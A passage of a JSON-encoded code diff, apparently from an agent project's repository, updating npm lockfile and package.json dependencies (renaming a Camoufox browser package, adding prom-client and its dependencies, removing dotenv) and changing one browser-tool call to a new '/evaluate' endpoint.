\"sha512-MxRvjK6SkX6zJSNleoO32g9iwhJAcXpaAgj4pik7y2SrYXqcHllpG7FfLkKE7d5bnBt7pO82rdarVYu6xtW2RA==\",\n-      \"deprecated\": \"Renamed to @askjo/camofox-browser\",\n+    \"node_modules/@askjo/camofox-browser\": {\n+      \"version\": \"1.5.2\",\n+      \"resolved\": \"https://registry.npmjs.org/@askjo/camofox-browser/-/camofox-browser-1.5.2.tgz\",\n+      \"integrity\": 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\"Apache-2.0\",\n+      \"engines\": {\n+        \"node\": \">=8.0.0\"\n+      }\n+    },\n     \"node_modules/@pkgjs/parseargs\": {\n       \"version\": \"0.11.0\",\n       \"resolved\": \"https://registry.npmjs.org/@pkgjs/parseargs/-/parseargs-0.11.0.tgz\",","@@ -977,6 +985,12 @@\n         \"file-uri-to-path\": \"1.0.0\"\n       }\n     },\n+    \"node_modules/bintrees\": {\n+      \"version\": \"1.0.2\",\n+      \"resolved\": \"https://registry.npmjs.org/bintrees/-/bintrees-1.0.2.tgz\",\n+      \"integrity\": \"sha512-VOMgTMwjAaUG580SXn3LacVgjurrbMme7ZZNYGSSV7mmtY6QQRh0Eg3pwIcntQ77DErK1L0NxkbetjcoXzVwKw==\",\n+      \"license\": \"MIT\"\n+    },\n     \"node_modules/bl\": {\n       \"version\": \"4.1.0\",\n       \"resolved\": \"https://registry.npmjs.org/bl/-/bl-4.1.0.tgz\",","@@ -1794,18 +1808,6 @@\n         \"url\": \"https://github.com/sponsors/sindresorhus\"\n       }\n     },\n-    \"node_modules/dotenv\": {\n-      \"version\": \"17.4.2\",\n-      \"resolved\": \"https://registry.npmjs.org/dotenv/-/dotenv-17.4.2.tgz\",\n-      \"integrity\": \"sha512-nI4U3TottKAcAD9LLud4Cb7b2QztQMUEfHbvhTH09bqXTxnSie8WnjPALV/WMCrJZ6UV/qHJ6L03OqO3LcdYZw==\",\n-      \"license\": \"BSD-2-Clause\",\n-      \"engines\": {\n-        \"node\": \">=12\"\n-      },\n-      \"funding\": {\n-        \"url\": \"https://dotenvx.com\"\n-      }\n-    },\n     \"node_modules/dunder-proto\": {\n       \"version\": \"1.0.1\",\n       \"resolved\": \"https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz\",","@@ -4032,6 +4034,19 @@\n         \"node\": \">=0.4.0\"\n       }\n     },\n+    \"node_modules/prom-client\": {\n+      \"version\": \"15.1.3\",\n+      \"resolved\": \"https://registry.npmjs.org/prom-client/-/prom-client-15.1.3.tgz\",\n+      \"integrity\": \"sha512-6ZiOBfCywsD4k1BN9IX0uZhF+tJkV8q8llP64G5Hajs4JOeVLPCwpPVcpXy3BwYiUGgyJzsJJQeOIv7+hDSq8g==\",\n+      \"license\": \"Apache-2.0\",\n+      \"dependencies\": {\n+        \"@opentelemetry/api\": \"^1.4.0\",\n+        \"tdigest\": \"^0.1.1\"\n+      },\n+      \"engines\": {\n+        \"node\": \"^16 || ^18 || >=20\"\n+      }\n+    },\n     \"node_modules/proxy-addr\": {\n       \"version\": \"2.0.7\",\n       \"resolved\": \"https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.7.tgz\",","@@ -5269,6 +5284,15 @@\n         \"node\": \">=6\"\n       }\n     },\n+    \"node_modules/tdigest\": {\n+      \"version\": \"0.1.2\",\n+      \"resolved\": \"https://registry.npmjs.org/tdigest/-/tdigest-0.1.2.tgz\",\n+      \"integrity\": \"sha512-+G0LLgjjo9BZX2MfdvPfH+MKLCrxlXSYec5DaPYP1fe6Iyhf0/fSmJ0bFiZ1F8BT6cGXl2LpltQptzjXKWEkKA==\",\n+      \"license\": \"MIT\",\n+      \"dependencies\": {\n+        \"bintrees\": \"1.0.2\"\n+      }\n+    },\n     \"node_modules/teen_process\": {\n       \"version\": \"2.3.3\",\n       \"resolved\": \"https://registry.npmjs.org/teen_process/-/teen_process-2.3.3.tgz\","]},{"file":"package.json","hunks":["@@ -17,12 +17,12 @@\n   \"homepage\": \"https://github.com/NousResearch/Hermes-Agent#readme\",\n   \"dependencies\": {\n     \"agent-browser\": \"^0.13.0\",\n-    \"@askjo/camoufox-browser\": \"^1.0.0\"\n+    \"@askjo/camofox-browser\": \"^1.5.2\"\n   },\n   \"overrides\": {\n     \"lodash\": \"4.18.1\"\n   },\n   \"engines\": {\n-    \"node\": \">=18.0.0\"\n+    \"node\": \">=20.0.0\"\n   }\n }"]},{"file":"tools/browser_tool.py","hunks":["@@ -1748,7 +1748,7 @@ def _camofox_eval(expression: str, task_id: Optional[str] = None) -> str:\n     try:\n         tab_info = _ensure_tab(task_id or \"default\")\n         tab_id = tab_info.get(\"tab_id\") or tab_info.get(\"id\")\n-        resp = _post(f\"/tabs/{tab_id}/eval\", body={\"expression\": expression})\n+        resp = _post(f\"/tabs/{tab_id}/evaluate\", body={\"expression\": expression, \"userId\": tab_info[\"user_id\"]})\n \n         # Camofox returns the result in a JSON envelope\n         raw_result = resp.get(\"result\") if isinstance(resp, dict) else resp\n"]}]}],"trust":{"default_tier":"verified","includes_suggested":false}}